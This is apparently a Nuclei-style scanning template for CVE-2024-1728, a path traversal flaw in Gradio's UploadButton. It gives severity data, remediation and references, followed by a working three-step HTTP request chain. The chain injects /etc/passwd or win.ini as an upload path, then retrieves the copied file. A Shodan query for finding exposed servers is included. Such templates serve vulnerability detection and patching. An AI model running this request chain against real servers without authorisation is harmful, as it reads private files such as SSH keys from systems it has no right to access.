Gradio > 4.19.1 UploadButton - Path Traversal

id: CVE-2024-1728

info:
  name: Gradio > 4.19.1 UploadButton - Path Traversal
  author: isacaya
  severity: high
  description: |
    gradio-app/gradio is vulnerable to a local file inclusion vulnerability due to improper validation of user-supplied input in the UploadButton component.
  impact: |
    Attackers can exploit this vulnerability to read arbitrary files on the filesystem, such as private SSH keys, by manipulating the file path in the request to the `/queue/join` endpoint. This issue could potentially lead to remote code execution. The vulnerability is present in the handling of file upload paths, allowing attackers to redirect file uploads to unintended locations on the server.
  remediation: |
    Update to version 4.19.2.
  reference:
    - https://github.com/gradio-app/gradio/commit/16fbe9cd0cffa9f2a824a0165beb43446114eec7
    - https://huntr.com/bounties/9bb33b71-7995-425d-91cc-2c2a2f2a068a
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1728
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-1728
    cwe-id: CWE-22
    epss-score: 0.85393
    epss-percentile: 0.99721
  metadata:
    max-request: 5
    verified: true
    vendor: gradio
    product: gradio
    shodan-query: html:"__gradio_mode__"
  tags: cve,cve2024,lfi,gradio,intrusive,vuln

http:
  - raw:
      - |
        POST /queue/join HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"data":[{"path":"{{path}}","url":"{{BaseURL}}/file=/help","orig_name":"CHANGELOG.md","size":3549,"mime_type":"text/markdown"}],"event_data":null,"fn_index":0,"trigger_id":2,"session_hash":"{{randstr}}"}
      - |
        GET /queue/data?session_hash={{randstr}} HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /file={{extracted_path}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: extracted_path
        regex:
          - "/tmp/gradio/[^/]+/passwd"
          - "C:.*\\win\\.ini"
        internal: true

    payloads:
      path:
        - /etc/passwd
        - /windows/win.ini

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[^:]:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: status
        status:
          - 200